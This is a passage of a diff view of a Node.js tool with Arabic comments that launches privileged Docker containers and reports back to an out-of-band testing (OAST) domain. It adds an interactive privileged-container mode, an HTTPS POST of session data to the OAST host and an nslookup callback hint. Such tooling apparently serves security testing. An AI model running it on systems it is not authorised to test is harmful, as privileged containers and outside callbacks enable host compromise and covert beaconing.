console.log(' - nslookup test.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}\n');
|
|
770
|
+
|
|
771
|
+
const dockerProcess = spawn('docker', [
|
|
772
|
+
'run',
|
|
773
|
+
'--privileged',
|
|
774
|
+
'-it',
|
|
775
|
+
'--name', `interactive-${CONFIG.OAST.sessionId}`,
|
|
776
|
+
CONFIG.DOCKER.image,
|
|
777
|
+
CONFIG.DOCKER.command
|
|
778
|
+
], {
|
|
779
|
+
stdio: 'inherit'
|
|
780
|
+
});
|
|
853
781
|
|
|
854
|
-
|
|
855
|
-
|
|
856
|
-
const containerIds = await scanner.discoverContainers();
|
|
782
|
+
dockerProcess.on('close', (code) => {
|
|
783
|
+
console.log(`\n🔚 Container exited with code: ${code}`);
|
|
857
784
|
|
|
858
|
-
|
|
859
|
-
|
|
860
|
-
|
|
861
|
-
|
|
785
|
+
// إرسال إشعار الانتهاء
|
|
786
|
+
const endReq = https.request({
|
|
787
|
+
hostname: CONFIG.OAST.domain,
|
|
788
|
+
port: CONFIG.OAST.httpsPort,
|
|
789
|
+
path: '/interactive-end',
|
|
790
|
+
method: 'POST',
|
|
791
|
+
headers: {
|
|
792
|
+
'Content-Type': 'application/json',
|
|
793
|
+
'X-Session-ID': CONFIG.OAST.sessionId
|
|
794
|
+
}
|
|
795
|
+
});
|
|
862
796
|
|
|
863
|
-
|
|
864
|
-
|
|
797
|
+
endReq.write(JSON.stringify({
|
|
798
|
+
action: 'interactive_container_end',
|
|
799
|
+
exitCode: code,
|
|
800
|
+
timestamp: new Date().toISOString()
|
|
801
|
+
}));
|
|
802
|
+
endReq.end();
|
|
865
803
|
|
|
866
|
-
//
|
|
867
|
-
|
|
804
|
+
// تنظيف
|
|
805
|
+
exec(`docker rm interactive-${CONFIG.OAST.sessionId} 2>/dev/null || true`);
|
|
868
806
|
|
|
869
|
-
|
|
870
|
-
console.log(
|
|
871
|
-
|
|
872
|
-
|
|
873
|
-
|
|
874
|
-
|
|
875
|
-
|
|
876
|
-
|
|
877
|
-
|
|
878
|
-
|
|
879
|
-
|
|
880
|
-
|
|
881
|
-
|
|
882
|
-
|
|
883
|
-
|
|
884
|
-
|
|
885
|
-
|
|
886
|
-
|
|
887
|
-
|
|
888
|
-
|
|
889
|
-
|
|
890
|
-
|
|
891
|
-
|
|
892
|
-
|
|
893
|
-
|
|
894
|
-
|
|
895
|
-
|
|
896
|
-
|
|
897
|
-
|
|
898
|
-
|
|
899
|
-
|
|
900
|
-
|
|
901
|
-
|
|
902
|
-
|
|
903
|
-
|
|
904
|
-
|
|
807
|
+
console.log(`\n📡 Check OAST interactions at: ${CONFIG.OAST.domain}`);
|
|
808
|
+
console.log(`🔑 Use Session ID: ${CONFIG.OAST.sessionId}`);
|
|
809
|
+
});
|
|
810
|
+
|
|
811
|
+
// التعامل مع Ctrl+C
|
|
812
|
+
process.on('SIGINT', () => {
|
|
813
|
+
console.log('\n\n⚠️ Received Ctrl+C, cleaning up...');
|
|
814
|
+
dockerProcess.kill('SIGINT');
|
|
815
|
+
});
|
|
816
|
+
}
|
|
817
|
+
|
|
818
|
+
// ===================== MAIN FUNCTION =====================
|
|
819
|
+
async function main() {
|
|
820
|
+
console.log('🎯 Choose scanning method:');
|
|
821
|
+
console.log(' 1. Full analysis with automated scanning and OAST reporting');
|
|
822
|
+
console.log(' 2. Simple container with basic OAST reporting');
|
|
823
|
+
console.log(' 3. Interactive privileged container (docker run --privileged -it ubuntu:latest /bin/bash)');
|
|
824
|
+
console.log(' 4. Exit');
|
|
825
|
+
|
|
826
|
+
const readline = require('readline').createInterface({
|
|
827
|
+
input: process.stdin,
|
|
828
|
+
output: process.stdout
|
|
829
|
+
});
|
|
830
|
+
|
|
831
|
+
readline.question('\nSelect option: ', async (choice) => {
|
|
832
|
+
readline.close();
|
|
833
|
+
|
|
834
|
+
switch(choice.trim()) {
|
|
835
|
+
case '1':
|
|
836
|
+
const scanner = new PrivilegedContainerScanner();
|
|
837
|
+
await scanner.run();
|
|
838
|
+
break;
|
|
839
|
+
|
|
840
|
+
case '2':
|
|
841
|
+
runSimplePrivilegedWithOAST();
|
|
842
|
+
break;
|
|
843
|
+
|
|
844
|
+
case '3':
|
|
845
|
+
runInteractivePrivileged();
|
|
846
|
+
break;
|
|
847
|
+
|
|
848
|
+
default:
|
|
849
|
+
console.log('👋 Exiting');
|
|
850
|
+
process.exit(0);
|
|
905
851
|
}
|
|
906
|
-
|
|
907
|
-
} catch (error) {
|
|
908
|
-
console.error('\n❌ Scan failed:', error.message);
|
|
909
|
-
process.exit(1);
|
|
910
|
-
}
|
|
852
|
+
});
|
|
911
853
|
}
|
|
912
854
|
|
|
913
|
-
// =====================
|
|
855
|
+
// ===================== CHECK DOCKER =====================
|
|
914
856
|
if (require.main === module) {
|
|
915
|
-
//
|
|
857
|
+
// التحقق من Docker
|
|
916
858
|
exec('which docker', (error) => {
|
|
917
859
|
if (error) {
|
|
918
|
-
console.error('❌ Docker is not
|
|
919
|
-
console.error(' This tool requires Docker to be installed and accessible.');
|
|
860
|
+
console.error('❌ Docker is not installed or not in PATH');
|
|
920
861
|
process.exit(1);
|
|
921
862
|
}
|
|
922
863
|
|
|
923
|
-
// Check if we have permission to run docker commands
|
|
924
864
|
exec('docker ps', (error) => {
|
|
925
865
|
if (error && error.message.includes('permission denied')) {
|
|
926
|
-
console.error('❌ Permission denied for Docker
|
|
927
|
-
console.
|
|
866
|
+
console.error('❌ Permission denied for Docker');
|
|
867
|
+
console.log(' Try: sudo usermod -aG docker $USER');
|
|
868
|
+
console.log(' Then logout and login again');
|
|
928
869
|
process.exit(1);
|
|
929
870
|
}
|
|
930
871
|
|
|
931
|
-
|
|
872
|
+
console.log(`✅ Docker is available`);
|
|
873
|
+
console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
874
|
+
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
|
|
875
|
+
|
|
876
|
+
// بدء البرنامج
|
|
932
877
|
main();
|
|
933
878
|
});
|
|
934
879
|
});
|
|
935
880
|
}
|
|
936
881
|
|
|
937
|
-
module.exports = {
|
|
882
|
+
module.exports = { PrivilegedContainerScanner, CONFIG };
|